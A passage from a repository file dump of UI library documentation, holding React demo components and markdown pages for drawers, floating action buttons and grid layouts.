    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport Button from '@mui/material/Button';\nimport List from '@mui/material/List';\nimport Divider from '@mui/material/Divider';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport InboxIcon from '@mui/icons-material/MoveToInbox';\nimport MailIcon from '@mui/icons-material/Mail';\n\nexport default function TemporaryDrawer() {\n  const [open, setOpen] = React.useState(false);\n\n  const toggleDrawer = (newOpen: boolean) => () => {\n    setOpen(newOpen);\n  };\n\n  const DrawerList = (\n    <Box sx={{ width: 250 }} role=\"presentation\" onClick={toggleDrawer(false)}>\n      <List>\n        {['Inbox', 'Starred', 'Send email', 'Drafts'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n      <Divider />\n      <List>\n        {['All mail', 'Trash', 'Spam'].map((text, index) => (\n          <ListItem key={text} disablePadding>\n            <ListItemButton>\n              <ListItemIcon>\n                {index % 2 === 0 ? <InboxIcon /> : <MailIcon />}\n              </ListItemIcon>\n              <ListItemText primary={text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n    </Box>\n  );\n\n  return (\n    <div>\n      <Button onClick={toggleDrawer(true)}>Open drawer</Button>\n      <Drawer open={open} onClose={toggleDrawer(false)}>\n        {DrawerList}\n      </Drawer>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/drawers/TemporaryDrawer.tsx.preview",
    "content": "<Button onClick={toggleDrawer(true)}>Open drawer</Button>\n<Drawer open={open} onClose={toggleDrawer(false)}>\n  {DrawerList}\n</Drawer>"
  },
  {
    "path": "docs/data/material/components/drawers/drawers.md",
    "content": "---\nproductId: material-ui\ntitle: React Drawer component\ncomponents: Drawer, SwipeableDrawer\ngithubLabel: 'scope: drawer'\nmaterialDesign: https://m2.material.io/components/navigation-drawer\ngithubSource: packages/mui-material/src/Drawer\n---\n\n# Drawer\n\n<p class=\"description\">The navigation drawers (or \"sidebars\") provide ergonomic access to destinations in a site or app functionality such as switching accounts.</p>\n\nA navigation drawer can either be permanently on-screen or controlled by a navigation menu icon.\n\n[Side sheets](https://m2.material.io/components/sheets-side) are supplementary surfaces primarily used on tablet and desktop.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Temporary drawer\n\nTemporary navigation drawers can toggle open or closed. Closed by default, the drawer opens temporarily above all other content until a section is selected.\n\nThe Drawer can be cancelled by clicking the overlay or pressing the Esc key.\nIt closes when an item is selected, handled by controlling the `open` prop.\n\n{{\"demo\": \"TemporaryDrawer.js\"}}\n\n### Anchor\n\nUse the `anchor` prop to specify which side of the screen the Drawer should originate from.\n\nThe default value is `left`.\n\n{{\"demo\": \"AnchorTemporaryDrawer.js\"}}\n\n### Swipeable\n\nYou can make the drawer swipeable with the `SwipeableDrawer` component.\n\nThis component comes with a 2 kB gzipped payload overhead.\nSome low-end mobile devices won't be able to follow the fingers at 60 FPS.\nYou can use the `disableBackdropTransition` prop to help.\n\n{{\"demo\": \"SwipeableTemporaryDrawer.js\"}}\n\nThe following properties are used in this documentation website for optimal usability of the component:\n\n- iOS is hosted on high-end devices.\n  The backdrop transition can be enabled without dropping frames.\n  The performance will be good enough.\n- iOS has a \"swipe to go back\" feature that interferes\n  with the discovery feature, so discovery has to be disabled.\n\n```jsx\nconst iOS =\n  typeof navigator !== 'undefined' && /iPad|iPhone|iPod/.test(navigator.userAgent);\n\n<SwipeableDrawer disableBackdropTransition={!iOS} disableDiscovery={iOS} />;\n```\n\n### Swipeable edge\n\nYou can configure the `SwipeableDrawer` to have a visible edge when closed.\n\nIf you are on a desktop, you can toggle the drawer with the \"OPEN\" button.\nIf you are on mobile, you can open the demo in CodeSandbox (\"edit\" icon) and swipe.\n\n{{\"demo\": \"SwipeableEdgeDrawer.js\", \"iframe\": true, \"disableLiveEdit\": true, \"height\": 400, \"maxWidth\": 300}}\n\n### Keep mounted\n\nThe Modal used internally by the Swipeable Drawer has the `keepMounted` prop set by default.\nThis means that the contents of the drawer are always present in the DOM.\n\nYou can change this default behavior with the `ModalProps` prop, but you may encounter issues with `keepMounted: false` in React 18.\n\n```jsx\n<Drawer\n  variant=\"temporary\"\n  ModalProps={{\n    keepMounted: false,\n  }}\n/>\n```\n\n## Responsive drawer\n\nYou can use the `temporary` variant to display a drawer for small screens and `permanent` for a drawer for wider screens.\n\n{{\"demo\": \"ResponsiveDrawer.js\", \"iframe\": true, \"disableLiveEdit\": true}}\n\n## Persistent drawer\n\nPersistent navigation drawers can toggle open or closed.\nThe drawer sits on the same surface elevation as the content.\nIt is closed by default and opens by selecting the menu icon, and stays open until closed by the user.\nThe state of the drawer is remembered from action to action and session to session.\n\nWhen the drawer is outside of the page grid and opens, the drawer forces other content to change size and adapt to the smaller viewport.\n\nPersistent navigation drawers are acceptable for all sizes larger than mobile.\nThey are not recommended for apps with multiple levels of hierarchy that require using an up arrow for navigation.\n\n{{\"demo\": \"PersistentDrawerLeft.js\", \"iframe\": true}}\n\n{{\"demo\": \"PersistentDrawerRight.js\", \"iframe\": true}}\n\n## Mini variant drawer\n\nIn this variation, the persistent navigation drawer changes its width.\nIts resting state is as a mini-drawer at the same elevation as the content, clipped by the app bar.\nWhen expanded, it appears as the standard persistent navigation drawer.\n\nThe mini variant is recommended for apps sections that need quick selection access alongside content.\n\n{{\"demo\": \"MiniDrawer.js\", \"iframe\": true}}\n\n## Permanent drawer\n\nPermanent navigation drawers are always visible and pinned to the left edge, at the same elevation as the content or background. They cannot be closed.\n\nPermanent navigation drawers are the **recommended default for desktop**.\n\n### Full-height navigation\n\nApps focused on information consumption that use a left-to-right hierarchy.\n\n{{\"demo\": \"PermanentDrawerLeft.js\", \"iframe\": true}}\n\n{{\"demo\": \"PermanentDrawerRight.js\", \"iframe\": true}}\n\n### Clipped under the app bar\n\nApps focused on productivity that require balance across the screen.\n\n{{\"demo\": \"ClippedDrawer.js\", \"iframe\": true}}\n"
  },
  {
    "path": "docs/data/material/components/floating-action-button/FloatingActionButtonExtendedSize.js",
    "content": "import Box from '@mui/material/Box';\nimport Fab from '@mui/material/Fab';\nimport NavigationIcon from '@mui/icons-material/Navigation';\n\nexport default function FloatingActionButtonExtendedSize() {\n  return (\n    <Box sx={{ '& > :not(style)': { m: 1 } }}>\n      <Fab variant=\"extended\" size=\"small\" color=\"primary\">\n        <NavigationIcon sx={{ mr: 1 }} />\n        Extended\n      </Fab>\n      <Fab variant=\"extended\" size=\"medium\" color=\"primary\">\n        <NavigationIcon sx={{ mr: 1 }} />\n        Extended\n      </Fab>\n      <Fab variant=\"extended\" color=\"primary\">\n        <NavigationIcon sx={{ mr: 1 }} />\n        Extended\n      </Fab>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/floating-action-button/FloatingActionButtonExtendedSize.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Fab from '@mui/material/Fab';\nimport NavigationIcon from '@mui/icons-material/Navigation';\n\nexport default function FloatingActionButtonExtendedSize() {\n  return (\n    <Box sx={{ '& > :not(style)': { m: 1 } }}>\n      <Fab variant=\"extended\" size=\"small\" color=\"primary\">\n        <NavigationIcon sx={{ mr: 1 }} />\n        Extended\n      </Fab>\n      <Fab variant=\"extended\" size=\"medium\" color=\"primary\">\n        <NavigationIcon sx={{ mr: 1 }} />\n        Extended\n      </Fab>\n      <Fab variant=\"extended\" color=\"primary\">\n        <NavigationIcon sx={{ mr: 1 }} />\n        Extended\n      </Fab>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/floating-action-button/FloatingActionButtonExtendedSize.tsx.preview",
    "content": "<Fab variant=\"extended\" size=\"small\" color=\"primary\">\n  <NavigationIcon sx={{ mr: 1 }} />\n  Extended\n</Fab>\n<Fab variant=\"extended\" size=\"medium\" color=\"primary\">\n  <NavigationIcon sx={{ mr: 1 }} />\n  Extended\n</Fab>\n<Fab variant=\"extended\" color=\"primary\">\n  <NavigationIcon sx={{ mr: 1 }} />\n  Extended\n</Fab>"
  },
  {
    "path": "docs/data/material/components/floating-action-button/FloatingActionButtonSize.js",
    "content": "import Box from '@mui/material/Box';\nimport Fab from '@mui/material/Fab';\nimport AddIcon from '@mui/icons-material/Add';\n\nexport default function FloatingActionButtonSize() {\n  return (\n    <Box sx={{ '& > :not(style)': { m: 1 } }}>\n      <Fab size=\"small\" color=\"secondary\" aria-label=\"add\">\n        <AddIcon />\n      </Fab>\n      <Fab size=\"medium\" color=\"secondary\" aria-label=\"add\">\n        <AddIcon />\n      </Fab>\n      <Fab color=\"secondary\" aria-label=\"add\">\n        <AddIcon />\n      </Fab>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/floating-action-button/FloatingActionButtonSize.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Fab from '@mui/material/Fab';\nimport AddIcon from '@mui/icons-material/Add';\n\nexport default function FloatingActionButtonSize() {\n  return (\n    <Box sx={{ '& > :not(style)': { m: 1 } }}>\n      <Fab size=\"small\" color=\"secondary\" aria-label=\"add\">\n        <AddIcon />\n      </Fab>\n      <Fab size=\"medium\" color=\"secondary\" aria-label=\"add\">\n        <AddIcon />\n      </Fab>\n      <Fab color=\"secondary\" aria-label=\"add\">\n        <AddIcon />\n      </Fab>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/floating-action-button/FloatingActionButtonSize.tsx.preview",
    "content": "<Fab size=\"small\" color=\"secondary\" aria-label=\"add\">\n  <AddIcon />\n</Fab>\n<Fab size=\"medium\" color=\"secondary\" aria-label=\"add\">\n  <AddIcon />\n</Fab>\n<Fab color=\"secondary\" aria-label=\"add\">\n  <AddIcon />\n</Fab>"
  },
  {
    "path": "docs/data/material/components/floating-action-button/FloatingActionButtonZoom.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { useTheme } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Typography from '@mui/material/Typography';\nimport Zoom from '@mui/material/Zoom';\nimport Fab from '@mui/material/Fab';\nimport AddIcon from '@mui/icons-material/Add';\nimport EditIcon from '@mui/icons-material/Edit';\nimport UpIcon from '@mui/icons-material/KeyboardArrowUp';\nimport { green } from '@mui/material/colors';\nimport Box from '@mui/material/Box';\n\nfunction TabPanel(props) {\n  const { children, value, index, ...other } = props;\n\n  return (\n    <Typography\n      component=\"div\"\n      role=\"tabpanel\"\n      hidden={value !== index}\n      id={`action-tabpanel-${index}`}\n      aria-labelledby={`action-tab-${index}`}\n      {...other}\n    >\n      {value === index && <Box sx={{ p: 3 }}>{children}</Box>}\n    </Typography>\n  );\n}\n\nTabPanel.propTypes = {\n  children: PropTypes.node,\n  index: PropTypes.number.isRequired,\n  value: PropTypes.number.isRequired,\n};\n\nfunction a11yProps(index) {\n  return {\n    id: `action-tab-${index}`,\n    'aria-controls': `action-tabpanel-${index}`,\n  };\n}\n\nconst fabStyle = {\n  position: 'absolute',\n  bottom: 16,\n  right: 16,\n};\n\nconst fabGreenStyle = {\n  color: 'common.white',\n  bgcolor: green[500],\n  '&:hover': {\n    bgcolor: green[600],\n  },\n};\n\nexport default function FloatingActionButtonZoom() {\n  const theme = useTheme();\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  const transitionDuration = {\n    enter: theme.transitions.duration.enteringScreen,\n    exit: theme.transitions.duration.leavingScreen,\n  };\n\n  const fabs = [\n    {\n      color: 'primary',\n      sx: fabStyle,\n      icon: <AddIcon />,\n      label: 'Add',\n    },\n    {\n      color: 'secondary',\n      sx: fabStyle,\n      icon: <EditIcon />,\n      label: 'Edit',\n    },\n    {\n      color: 'inherit',\n      sx: { ...fabStyle, ...fabGreenStyle },\n      icon: <UpIcon />,\n      label: 'Expand',\n    },\n  ];\n\n  return (\n    <Box\n      sx={{\n        bgcolor: 'background.paper',\n        width: 500,\n        position: 'relative',\n        minHeight: 200,\n      }}\n    >\n      <AppBar position=\"static\" color=\"default\">\n        <Tabs\n          value={value}\n          onChange={handleChange}\n          indicatorColor=\"primary\"\n          textColor=\"primary\"\n          variant=\"fullWidth\"\n          aria-label=\"action tabs example\"\n        >\n          <Tab label=\"Item One\" {...a11yProps(0)} />\n          <Tab label=\"Item Two\" {...a11yProps(1)} />\n          <Tab label=\"Item Three\" {...a11yProps(2)} />\n        </Tabs>\n      </AppBar>\n      <TabPanel value={value} index={0} dir={theme.direction}>\n        Item One\n      </TabPanel>\n      <TabPanel value={value} index={1} dir={theme.direction}>\n        Item Two\n      </TabPanel>\n      <TabPanel value={value} index={2} dir={theme.direction}>\n        Item Three\n      </TabPanel>\n      {fabs.map((fab, index) => (\n        <Zoom\n          key={fab.color}\n          in={value === index}\n          timeout={transitionDuration}\n          style={{\n            transitionDelay: `${value === index ? transitionDuration.exit : 0}ms`,\n          }}\n          unmountOnExit\n        >\n          <Fab sx={fab.sx} aria-label={fab.label} color={fab.color}>\n            {fab.icon}\n          </Fab>\n        </Zoom>\n      ))}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/floating-action-button/FloatingActionButtonZoom.tsx",
    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Typography from '@mui/material/Typography';\nimport Zoom from '@mui/material/Zoom';\nimport Fab from '@mui/material/Fab';\nimport AddIcon from '@mui/icons-material/Add';\nimport EditIcon from '@mui/icons-material/Edit';\nimport UpIcon from '@mui/icons-material/KeyboardArrowUp';\nimport { green } from '@mui/material/colors';\nimport Box from '@mui/material/Box';\nimport { SxProps } from '@mui/system';\n\ninterface TabPanelProps {\n  children?: React.ReactNode;\n  dir?: string;\n  index: number;\n  value: number;\n}\n\nfunction TabPanel(props: TabPanelProps) {\n  const { children, value, index, ...other } = props;\n\n  return (\n    <Typography\n      component=\"div\"\n      role=\"tabpanel\"\n      hidden={value !== index}\n      id={`action-tabpanel-${index}`}\n      aria-labelledby={`action-tab-${index}`}\n      {...other}\n    >\n      {value === index && <Box sx={{ p: 3 }}>{children}</Box>}\n    </Typography>\n  );\n}\n\nfunction a11yProps(index: any) {\n  return {\n    id: `action-tab-${index}`,\n    'aria-controls': `action-tabpanel-${index}`,\n  };\n}\n\nconst fabStyle = {\n  position: 'absolute',\n  bottom: 16,\n  right: 16,\n};\n\nconst fabGreenStyle = {\n  color: 'common.white',\n  bgcolor: green[500],\n  '&:hover': {\n    bgcolor: green[600],\n  },\n};\n\nexport default function FloatingActionButtonZoom() {\n  const theme = useTheme();\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: unknown, newValue: number) => {\n    setValue(newValue);\n  };\n\n  const transitionDuration = {\n    enter: theme.transitions.duration.enteringScreen,\n    exit: theme.transitions.duration.leavingScreen,\n  };\n\n  const fabs = [\n    {\n      color: 'primary' as const,\n      sx: fabStyle as SxProps,\n      icon: <AddIcon />,\n      label: 'Add',\n    },\n    {\n      color: 'secondary' as const,\n      sx: fabStyle as SxProps,\n      icon: <EditIcon />,\n      label: 'Edit',\n    },\n    {\n      color: 'inherit' as const,\n      sx: { ...fabStyle, ...fabGreenStyle } as SxProps,\n      icon: <UpIcon />,\n      label: 'Expand',\n    },\n  ];\n\n  return (\n    <Box\n      sx={{\n        bgcolor: 'background.paper',\n        width: 500,\n        position: 'relative',\n        minHeight: 200,\n      }}\n    >\n      <AppBar position=\"static\" color=\"default\">\n        <Tabs\n          value={value}\n          onChange={handleChange}\n          indicatorColor=\"primary\"\n          textColor=\"primary\"\n          variant=\"fullWidth\"\n          aria-label=\"action tabs example\"\n        >\n          <Tab label=\"Item One\" {...a11yProps(0)} />\n          <Tab label=\"Item Two\" {...a11yProps(1)} />\n          <Tab label=\"Item Three\" {...a11yProps(2)} />\n        </Tabs>\n      </AppBar>\n      <TabPanel value={value} index={0} dir={theme.direction}>\n        Item One\n      </TabPanel>\n      <TabPanel value={value} index={1} dir={theme.direction}>\n        Item Two\n      </TabPanel>\n      <TabPanel value={value} index={2} dir={theme.direction}>\n        Item Three\n      </TabPanel>\n      {fabs.map((fab, index) => (\n        <Zoom\n          key={fab.color}\n          in={value === index}\n          timeout={transitionDuration}\n          style={{\n            transitionDelay: `${value === index ? transitionDuration.exit : 0}ms`,\n          }}\n          unmountOnExit\n        >\n          <Fab sx={fab.sx} aria-label={fab.label} color={fab.color}>\n            {fab.icon}\n          </Fab>\n        </Zoom>\n      ))}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/floating-action-button/FloatingActionButtons.js",
    "content": "import Box from '@mui/material/Box';\nimport Fab from '@mui/material/Fab';\nimport AddIcon from '@mui/icons-material/Add';\nimport EditIcon from '@mui/icons-material/Edit';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport NavigationIcon from '@mui/icons-material/Navigation';\n\nexport default function FloatingActionButtons() {\n  return (\n    <Box sx={{ '& > :not(style)': { m: 1 } }}>\n      <Fab color=\"primary\" aria-label=\"add\">\n        <AddIcon />\n      </Fab>\n      <Fab color=\"secondary\" aria-label=\"edit\">\n        <EditIcon />\n      </Fab>\n      <Fab variant=\"extended\">\n        <NavigationIcon sx={{ mr: 1 }} />\n        Navigate\n      </Fab>\n      <Fab disabled aria-label=\"like\">\n        <FavoriteIcon />\n      </Fab>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/floating-action-button/FloatingActionButtons.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Fab from '@mui/material/Fab';\nimport AddIcon from '@mui/icons-material/Add';\nimport EditIcon from '@mui/icons-material/Edit';\nimport FavoriteIcon from '@mui/icons-material/Favorite';\nimport NavigationIcon from '@mui/icons-material/Navigation';\n\nexport default function FloatingActionButtons() {\n  return (\n    <Box sx={{ '& > :not(style)': { m: 1 } }}>\n      <Fab color=\"primary\" aria-label=\"add\">\n        <AddIcon />\n      </Fab>\n      <Fab color=\"secondary\" aria-label=\"edit\">\n        <EditIcon />\n      </Fab>\n      <Fab variant=\"extended\">\n        <NavigationIcon sx={{ mr: 1 }} />\n        Navigate\n      </Fab>\n      <Fab disabled aria-label=\"like\">\n        <FavoriteIcon />\n      </Fab>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/floating-action-button/FloatingActionButtons.tsx.preview",
    "content": "<Fab color=\"primary\" aria-label=\"add\">\n  <AddIcon />\n</Fab>\n<Fab color=\"secondary\" aria-label=\"edit\">\n  <EditIcon />\n</Fab>\n<Fab variant=\"extended\">\n  <NavigationIcon sx={{ mr: 1 }} />\n  Navigate\n</Fab>\n<Fab disabled aria-label=\"like\">\n  <FavoriteIcon />\n</Fab>"
  },
  {
    "path": "docs/data/material/components/floating-action-button/floating-action-button.md",
    "content": "---\nproductId: material-ui\ntitle: React Floating Action Button (FAB) component\ncomponents: Fab\ngithubLabel: 'component: Fab'\nmaterialDesign: https://m2.material.io/components/buttons-floating-action-button\ngithubSource: packages/mui-material/src/Fab\n---\n\n# Floating Action Button\n\n<p class=\"description\">A Floating Action Button (FAB) performs the primary, or most common, action on a screen.</p>\n\nA floating action button appears in front of all screen content, typically as a circular shape with an icon in its center.\nFABs come in two types: regular, and extended.\n\nOnly use a FAB if it is the most suitable way to present a screen's primary action.\nOnly one component is recommended per screen to represent the most common action.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic FAB\n\n{{\"demo\": \"FloatingActionButtons.js\"}}\n\n## Size\n\nBy default, the size is `large`. Use the `size` prop for smaller floating action buttons.\n\n{{\"demo\": \"FloatingActionButtonSize.js\"}}\n\n{{\"demo\": \"FloatingActionButtonExtendedSize.js\"}}\n\n## Animation\n\nThe floating action button animates onto the screen as an expanding piece of material, by default.\n\nA floating action button that spans multiple lateral screens (such as tabbed screens) should briefly disappear,\nthen reappear if its action changes.\n\nThe Zoom transition can be used to achieve this. Note that since both the exiting and entering\nanimations are triggered at the same time, we use `enterDelay` to allow the outgoing Floating Action Button's\nanimation to finish before the new one enters.\n\n{{\"demo\": \"FloatingActionButtonZoom.js\", \"bg\": true}}\n"
  },
  {
    "path": "docs/data/material/components/grid/AutoGrid.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function AutoGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={3}>\n        <Grid size=\"grow\">\n          <Item>size=grow</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>size=6</Item>\n        </Grid>\n        <Grid size=\"grow\">\n          <Item>size=grow</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/AutoGrid.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function AutoGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={3}>\n        <Grid size=\"grow\">\n          <Item>size=grow</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>size=6</Item>\n        </Grid>\n        <Grid size=\"grow\">\n          <Item>size=grow</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/AutoGrid.tsx.preview",
    "content": "<Grid container spacing={3}>\n  <Grid size=\"grow\">\n    <Item>size=grow</Item>\n  </Grid>\n  <Grid size={6}>\n    <Item>size=6</Item>\n  </Grid>\n  <Grid size=\"grow\">\n    <Item>size=grow</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/material/components/grid/BasicGrid.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function BasicGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n        <Grid size={4}>\n          <Item>size=4</Item>\n        </Grid>\n        <Grid size={4}>\n          <Item>size=4</Item>\n        </Grid>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/BasicGrid.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function BasicGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n        <Grid size={4}>\n          <Item>size=4</Item>\n        </Grid>\n        <Grid size={4}>\n          <Item>size=4</Item>\n        </Grid>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/BasicGrid.tsx.preview",
    "content": "<Grid container spacing={2}>\n  <Grid size={8}>\n    <Item>size=8</Item>\n  </Grid>\n  <Grid size={4}>\n    <Item>size=4</Item>\n  </Grid>\n  <Grid size={4}>\n    <Item>size=4</Item>\n  </Grid>\n  <Grid size={8}>\n    <Item>size=8</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/material/components/grid/CenteredElementGrid.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\n\nexport default function CenteredElementGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2} sx={{ minHeight: 160 }}>\n        <Grid\n          sx={{ display: 'flex', justifyContent: 'center', alignItems: 'center' }}\n          size=\"grow\"\n        >\n          <Avatar src=\"/static/images/avatar/1.jpg\" />\n        </Grid>\n        <Grid\n          sx={{ display: 'flex', justifyContent: 'center', alignItems: 'center' }}\n        >\n          <Avatar src=\"/static/images/avatar/2.jpg\" />\n        </Grid>\n        <Grid\n          sx={{ display: 'flex', justifyContent: 'center', alignItems: 'center' }}\n          size=\"grow\"\n        >\n          <Avatar src=\"/static/images/avatar/3.jpg\" />\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/CenteredElementGrid.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\n\nexport default function CenteredElementGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2} sx={{ minHeight: 160 }}>\n        <Grid\n          sx={{ display: 'flex', justifyContent: 'center', alignItems: 'center' }}\n          size=\"grow\"\n        >\n          <Avatar src=\"/static/images/avatar/1.jpg\" />\n        </Grid>\n        <Grid\n          sx={{ display: 'flex', justifyContent: 'center', alignItems: 'center' }}\n        >\n          <Avatar src=\"/static/images/avatar/2.jpg\" />\n        </Grid>\n        <Grid\n          sx={{ display: 'flex', justifyContent: 'center', alignItems: 'center' }}\n          size=\"grow\"\n        >\n          <Avatar src=\"/static/images/avatar/3.jpg\" />\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/ColumnLayoutInsideGrid.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\nimport Stack from '@mui/material/Stack';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ColumnLayoutInsideGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={4}>\n          <Stack spacing={2}>\n            <Item>Column 1 - Row 1</Item>\n            <Item>Column 1 - Row 2</Item>\n            <Item>Column 1 - Row 3</Item>\n          </Stack>\n        </Grid>\n        <Grid size={8}>\n          <Item sx={{ height: '100%', boxSizing: 'border-box' }}>Column 2</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/ColumnLayoutInsideGrid.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\nimport Stack from '@mui/material/Stack';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ColumnLayoutInsideGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={4}>\n          <Stack spacing={2}>\n            <Item>Column 1 - Row 1</Item>\n            <Item>Column 1 - Row 2</Item>\n            <Item>Column 1 - Row 3</Item>\n          </Stack>\n        </Grid>\n        <Grid size={8}>\n          <Item sx={{ height: '100%', boxSizing: 'border-box' }}>Column 2</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/ColumnLayoutInsideGrid.tsx.preview",
    "content": "<Grid container spacing={2}>\n  <Grid size={4}>\n    <Stack spacing={2}>\n      <Item>Column 1 - Row 1</Item>\n      <Item>Column 1 - Row 2</Item>\n      <Item>Column 1 - Row 3</Item>\n    </Stack>\n  </Grid>\n  <Grid size={8}>\n    <Item sx={{ height: '100%', boxSizing: 'border-box' }}>Column 2</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/material/components/grid/ColumnsGrid.js",
